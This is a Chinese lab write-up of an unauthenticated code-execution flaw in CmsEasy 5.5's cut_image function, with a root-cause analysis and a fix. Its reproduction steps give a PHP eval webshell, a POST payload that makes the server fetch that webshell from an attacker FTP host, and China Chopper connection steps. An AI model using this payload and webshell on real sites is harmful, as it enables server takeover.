3 CmsEasy 5.5 cut_image 代码执行漏洞

3.1 摘要

3.1.1 漏洞介绍

  • CmsEasy是一款基于PHP+MySQL架构的网站内容管理系统,可面向大中型站点提供重量级网站建设解决方案:拥有强大的内容发布模板自定义功能,可以通过模板自定义功能扩展出产品、新闻、招聘、下载等多种不同的内容发布及字段显示功能。可自定义网页标题、关键词、描述、URL路径等多种优化项,可自动推送内容至百度搜索引擎。全国首家内置推广联盟模块的企业网站系统,为企业在营销推广方面,提供了非常便捷的方法和功能。为广大用户提供更为安全、稳定、强大的微信公众好管理系统。拥有强大的内容发布木板自定义功能,可以通过模板自定义功能扩展出产品、新闻、招聘、下载等多种不同的内容发布及字段显示功能。
  • CmsEasy5.5版本’cut_image_action’函数存在代码执行漏洞,远程攻击者可在未登录的情况下向服务器上传任意文件,执行任意代码,获取服务器权限。

3.1.2 漏洞环境

  • 操作机:Windows XP
  • 目标机:CentOS 6.5

3.1.3 实验工具

  • CmsEasy5.5
  • FTPserver.exe:一个小型的Ftp server软件
  • 中国菜刀:一款专业的网站管理软件,只要支持动态脚本的网站,都可以用中国菜刀来进行管理。主要功能有:文件管理,虚拟终端,数据库管理。

3.2 漏洞复现

  • 将构造好的图片木马复制c:\ftp目录下,用Notepad打开,查看图片内容,可以看到标识处,含有一句话代码<?php eval($_POST['c']) ;?>菜刀连接密码为c。
  • 将该图片文件名修改为phpinfo.php,接下来利用该图片木马进行漏洞利用。
  • 打开实验工具下载的FTP Server工具,请将该实验工具访问目录修改为c:\ftp,点击启动服务即可。
  • 使用火狐浏览器打开目标界面http://www.test.ichunqiu 按F9调出hackbar工具,我们构造漏洞利用代码,访问URL为http://www.test.ichunqiu/index.php?case=tool&act=cut_image点击Enable Post data打开POST窗口,注入以下测试内容, pic=1ftp://172.16.11.2/phpinfo.php&w=700&h=1120&x1=0&x2=700&y1=0&y2=1120
  • 点击Execute提交,即可返回上传文件地址。
  • 将上图返回的地址,复制到地址栏,(将/路径替换为/)访问。可以看到该文件访问成功,下面尝试使用中国菜刀连接该一句话木马。复制该地址。
  • 运行中国菜刀chopper.exe程序。 在程序窗口内,右键将地址粘贴,地址后面密码填写为c脚本类型选择为PHP,点击添加即可。
  • 点击添加后可以看到该目录,增加一条记录,我们双击该条目,即可进入webshell目录管理界面
  • 该漏洞利用成功

3.3 漏洞分析

  • 该漏洞是因为CmsEasy5.5/lib/default/tool_act.php 392行的cut_image_action()函数出现问题。代码如下图所示
  • 分析以上代码,可以发现保存文件名的生成,直接用了$_POST['pic'] 接受未经过任何安全防护的输入作为扩展名,应该就是这里导致Getshell。

  • 这里需要可以绕过PHP图像处理的一句话木马,和本地搭建Ftp服务以绕过file_exits()函数, PHP5.0以上即可支持file_exists()。代码如下所示,如果$_POST['pic']开头4个字符不是http的话,就认为是本站的文件,会从前面抽取base_url,返回文件相对路径。所以构造的时候,如果站点不是放在根目录,则需要补位strlen(base_url)+2 如果放在根目录 也需要补上1位('/'的长度)

  • 构造的测试代码为:
post /index.php?case=tool&act=cut_image
pic=1ftp://localhost/test.php&w=700&h=1120$x1=0&x2=700%y1=0y2=1120
其中localhost=172.16.11.2,test.php=phpinfo.php

3.4 修复方案

  • 更新到官方最新版本:http://www.cmseasy.cn/

转载于:https://www.cnblogs.com/yx20145312/p/7020516.html

CmsEasy 5.5 cut_image 代码执行漏洞相关推荐

  1. 【代码审计】CmsEasy_v5.7 代码执行漏洞分析

      0x00 环境准备 CmsEasy官网:http://www.cmseasy.cn/ 网站源码版本:CmsEasy_v5.7_UTF8-0208 程序源码下载: http://ftp.cmseas ...

  2. thinkphp5+远程代码执行_ThinkPHP5 5.0.23 远程代码执行漏洞

     漏洞描述 ThinkPHP是一款运用极广的PHP开发框架.其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程 ...

  3. ElasticSearch Groovy脚本远程代码执行漏洞

    什么是ElasticSearch? 它是一种分布式的.实时性的.由JAVA开发的搜索和分析引擎. 2014年,曾经被曝出过一个远程代码执行漏洞(CVE-2014-3120),漏洞出现在脚本查询模块,由 ...

  4. Linux包管理器apt/apt-get发现远程代码执行漏洞

    研究人员Max Justicz日前发现了知名Linux包管理器apt/apt-get中的远程代码执行漏洞,该漏洞允许外部进行中间人攻击并获取root权限以执行任何代码.该漏洞已在最新版本apt修复,如 ...

  5. wordpress php执行短代码_【漏洞通告】PHP远程代码执行漏洞(CVE-2019-11043)

    1.综述2019年9月14日至18举办的 Real World CTF中,国外安全研究员 Andrew Danau 在解决一道CTF题目时发现,向目标服务器 URL 发送 %0a 符号时,服务返回异常 ...

  6. php定时执行代码漏洞_【漏洞风险提示】Drupal任意PHP代码执行漏洞通告

    漏洞描述 Drupal是使用PHP语言编写的开源内容管理框架(CMF),它由内容管理系统(CMS)和PHP开发框架(Framework)共同构成. 2020年11月25日,Drupal发布了Drupa ...

  7. ImageMagick远程代码执行漏洞CVE-2016-8707 绿盟科技发布安全威胁通告

    在 ImageMagicks 的转换实用程序中, TIFF 图像压缩处理存在一个写边界的问题.攻击者利用一个精心编制的 TIFF 文件,可以导致的界限写,特别是可以利用的情况下进入远程执行代码.任何用 ...

  8. ecshop 解密index.php,ECShop 2.x 3.0代码执行漏洞分析

    0x00 前言 ECShop是一款B2C独立网店系统,适合企业及个人快速构建个性化网上商店.2.x版本跟3.0版本存在代码执行漏洞. 0x01 漏洞原理 ECShop 没有对 $GLOBAL['_SE ...

  9. Source引擎的远程代码执行漏洞,可能影响千万游戏玩家

    本文讲的是Source引擎的远程代码执行漏洞,可能影响千万游戏玩家, 目前多款主流游戏,如CS.绝地要塞等都在使用Source引擎,Source引擎由Valve软件公司开发,这个引擎提供关于渲染.声效 ...

最新文章

  1. rsync的配置应用
  2. java获取屏幕图像_Java捕获当前屏幕图像
  3. python判断英文字母_Python判断两个单词的相似度
  4. centos 安装 telnet
  5. cv mat保存图片_(七)神秘的Mat
  6. mysql 树形结构_结合RBAC模型讲解权限管理系统需求及表结构创建
  7. 沐猿而冠 -教育-读书笔记(一)
  8. if(-1)为真还是假_女人是“真拒绝”还是“假矜持”,其实一眼就能看出来
  9. 数据库的开窗函数学习
  10. 初中数学最全几何模型_初中数学几何模型秘籍.pdf
  11. 运维人员须熟悉的38个运维工具汇总
  12. Dynamic Web TWAIN:网页扫描过程中如何自动检测和删除空白页?
  13. Python 生成一组随机数列表
  14. 在2147483647的边缘疯狂试探
  15. 发送给客户的文件,怕泄漏怎么办?
  16. 依赖注入是什么?Go是如何实现依赖注入的?
  17. 2021年焊工(初级)考试题及焊工(初级)考试试卷
  18. linux下 redis如何清空缓存
  19. 【TJOI2017】可乐
  20. 韩信点兵公式及其Java代码

热门文章

  1. 了解一下,Android 10中镜像文件的制作
  2. SpringBoot项目部署
  3. 海思科技完成高阶手机处理器开发 抗衡联发科
  4. Linux 修改文件(文件夹)的权限 chown 与 chmod
  5. 队友总抢好装备, 互斥模式(Mutex Pattern)来安慰
  6. Scrum Master与项目经理的区别
  7. android常用库
  8. Matlab基本函数 floor函数
  9. 代码不止 | 2020 Google 开发者大会亮点回顾
  10. AD子域的部署并配置DNS委派的几种方法